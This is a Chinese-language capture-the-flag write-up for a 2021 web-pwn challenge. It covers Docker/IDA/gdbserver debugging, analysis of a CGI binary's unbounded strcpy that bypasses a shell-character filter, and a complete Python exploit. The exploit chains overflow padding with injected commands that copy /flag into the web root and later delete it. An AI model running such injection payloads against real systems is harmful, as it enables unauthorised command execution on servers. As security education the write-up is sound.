WEBPWN-再探-安洵final
前言
分析路由器分析的头大,做一道webpwn学习学习
2021年安询杯final
也是给了一个docker环境
检查保护
发现PIE没开启,GOT表可写

前置知识
没啥前置知识需要学,看了WEBPWN初探基本上了解原理即可
调试环境
dockerfile
老规矩在dockerfile中添加gdb环境,但是因为这个文件比较大,于是我们再搞个gdbserver进去,这次用ida调试
1 2 3 4 5 6 7 8 9 10 11 12 13
|
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ apt-get update &&\ apt-get install -y net-tools vim openssh-server netcat curl gdb git COPY ./peda /root/peda RUN echo "source /root/peda/peda.py" >> /root/.gdbinit
COPY ./bin/gdbserver-7.12-x86_64-sysv /home/pwn/gdbserver-7.12-x86_64-sysv
|
patch elf
在调试的时候,需要在文件的开头进行patch,形成一个死循环,否则没时间patch上去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| .text:0000000000401436 ; __unwind { .text:0000000000401436 push rbp .text:0000000000401437 mov rbp, rsp .text:000000000040143A push r12 .text:000000000040143C push rbx .text:000000000040143D sub rsp, 139A0h .text:0000000000401444 mov [rbp+var_139A4], edi .text:000000000040144A mov [rbp+var_139B0], rsi .text:0000000000401451 mov rax, fs:28h .text:000000000040145A mov [rbp+var_18], rax .text:000000000040145E xor eax, eax .text:0000000000401460 mov [rbp+var_13958], 0 .text:000000000040146B mov edi, 3 ; seconds .text:0000000000401470 call _alarm .text:0000000000401475 mov eax, 0 .text:000000000040147A call sub_402531 .text:000000000040147F mov edx, 1Eh ; n .text:0000000000401484 mov esi, 0 ; c .text:0000000000401489 mov edi, offset dest1 ; s .text:000000000040148E call _memset .text:0000000000401493 mov eax, 0 .text:0000000000401498 call sub_4031A0 .text:000000000040149D cmp [rbp+var_139A4], 1 .text:00000000004014A4 .text:00000000004014A4 loc_4014A4: ; CODE XREF: sub_401436:loc_4014A4↓j .text:00000000004014A4 jg short sub_4014BF .text:00000000004014A4 sub_401436 endp
|
还是对跳转进行修改为自跳转
用ida的edit->patch program->Assembly来patch。
这里只是介绍一种死循环的方式,大家也可以自己去找合适的patch,jmp $
是两个字节的,大家对应修改即可。
调试
直接用gdb去attch调试,命令如下
1 2 3 4
| gdb attach pid set $rip=dest_addr b addr c
|
在gdb的时候可能会遇到问题,gdb返回"ptrace: Operation not permitted."
,这时候直接用特权模式启动即可
1
| docker exec --privileged -it mywebproxy_my-proxy_1 /bin/bash
|
原因是Ubuntu 16.04 的/etc/sysctl.d/10-ptrace.conf文件中最后一行默认
kernel.yama.ptrace_scope = 1
这个值不允许用户使用普通账户使用attach ID连接程序进行调试,需要使用超级用户权限才能连接。
IDA+gdbserver调试
这里主要介绍这种方法,因为调试大文件还是比较清晰的,不用一点点的看汇编
gdbserver
首先在docker中启动gdbserver,命令如下,182是你要调试的进程号,23946是你对外开放的端口,这里需要将docker的23946端口也映射出去
1
| ./gdbserver-7.12-x86_64-sysv --attach 127.0.0.1:23946 182
|
我将23946端口映射到了23945
ida
启动ida,打开对应的程序,调试器选择remote GDB debuger,然后调试器选项设置对应的主机和端口
直接启动调试即可成功attach,attach一次后可以选择附加到进程,找到你要调试的进行继续attach也可以

分析
第一段数据
这里首先就是先读取一段数据,然后提取出来

第一段读取出来的数据为
1 2 3 4
| s = "GET /wifictl.cgi?ring_token=1 HTTP/1.1" s1 = "GET" v27= "/wifictl.cgi?ring_token=1" v29= "HTTP/1.1"
|
第二段数据
读取第二段数据,并且需要存在X-forword-For
字段,提取对应的数据

输入的数据如下,在sub_4030A5对输入的ip进行了判断是否合规
1 2
| s ="X-Forword-For: 192.168.1.1\r\n" dest = 192.168.1.1
|
get&是否有参数

可以这段代码判断了是否是get的请求,并且haystack就是wifictl.cgi?ring_token=1
,于是存在?
进入sub_4032D8流程
sub_4032D8

该函数对参数进行解析然后存储到某个地址去,这在sub_4034FD函数中实现了
sub_4034FD

申请空间并存储我们的数据,
执行函数
回到main函数,后面对dest和一个数组进行了比较,看了一下数据是{login.cgi
,logout.cgi
,wifictl.cgi
,logctl.cgi
}这些路径,最后判断代理的ip是不是(192.168.1.*
)*是小于20的一个数,然后去执行对应的代码,还判断是否存在ring_token的参数

wifictl
首先看wifictl函数,发现判断了ring_token然后打印了一个时间

logctl
顾名思义是一个记录日志的路径,然后判断了ring_token的时间要小于或者等于我们刚才打印的数据,于是直接用即可,然后将我们前面的参数进行判断进入sub_402E56函数,然后我们发现在下面的代码中,对v5的数据进行了拼接并执行,于是我们着重关注v5的值

sub_402E56
发现对a3也就是v5的数据进行修改的只有赋值函数strcpy(a3,v14),然后对v14进行修改的只有v12赋值那段,分析整体逻辑是,发现数据中存在的”$;`’&|<>^\n\r”数据,然后传递给v14,但这里出题人的代码似乎写错了,在 v11[i] = 1;的时候应该用的是 v11[j] = 1;
然后我们发现a2其实是我们输入进入的参数的值,也就是前面的ring_token=1
的1,我们也可以构造一个aa=test
,就能让a2等于test了
这里没有限制复制的大小,于是我们可以用a2去覆盖掉v14的数据,然后复制给a3,去进行命令注入,最后我们发现需要执行到命令注入需要v6=1,于是我们让最开头的第二个出现特殊字符,就能让v14的开头为;
,截断下来导致命令注入,或者用\n
截断也可以,那就设置第10个为特殊字符即可

最后执行的命令为

值得注意的是,如果要调试第二个传递的结果需要attach两次才行,第一次attach后修改rip让其正常执行
利用
我们现在已经能有个清晰的思路就是,先获得wifictl函数的那个时间,然后传递给logctl函数的ring_token里面,再构造一个数据溢出,然后命令注入即可,把flag写入/var/www/html后即可直接访问路径获得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
|
import warnings import requests import re
import socket import socks
from pwn import * def exp(url): if url[len(url) - 1] != '/': print("[-] Target URL Format Error,The last char in url must be '/'.") return False warnings.filterwarnings('ignore') s = requests.session() s.verify = False header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', 'X-Forword-For': '192.168.1.1' } try: ret = s.get("{}wifictl.cgi?ring_token=1".format(url), headers=header, timeout=1000) if ret.status_code == 200: if "now time is" in ret.content.decode(): time_ret = re.search(r"now time is (.+?)\.\n",ret.content.decode()) if time_ret is None: print("[-] time_ret re error, cannot get time") return False else: now_time = time_ret.group(1) print("[+] now time is " + now_time) else: print("[-] time_ret re error, cannot get time") return False else: print("[-] status_code error, cannot get time") return False cmd = "a"*9+";" + "a"*(1311-8) + "cat /flag >/var/www/html/flag;" new_url = "{}logctl.cgi?ring_token={}:1&aa={}".format(url, int(now_time)+1, cmd) ret = s.get(new_url, headers=header, timeout=10000) if ret.status_code == 200: print(ret.content.decode()) else: print("[-] status_code error, cannot get flag") return False
ret = s.get("{}flag".format(url), headers=header, timeout=8) if ret.status_code == 200: print(ret.content.decode()) else: print("[-] status_code error, cannot get flag") return False cmd = "a;" + "a"*1311 + "rm /var/www/html/flag;" new_url = "{}logctl.cgi?ring_token={}:1&aa={}".format(url, int(now_time)+1, cmd) ret = s.get(new_url, headers=header, timeout=10000) if ret.status_code == 200: return True else: print("[-] status_code error, cannot rm flag") return False except Exception as reason: if 'timed' in repr(reason) or 'timeout' in repr(reason): print('[-] Fail, can not connect target for: timeout') return False else: print('[-] Fail, can not connect target for: {}'.format(repr(reason))) return False
if __name__ == '__main__': exp("http://192.168.52.128:1933/")
|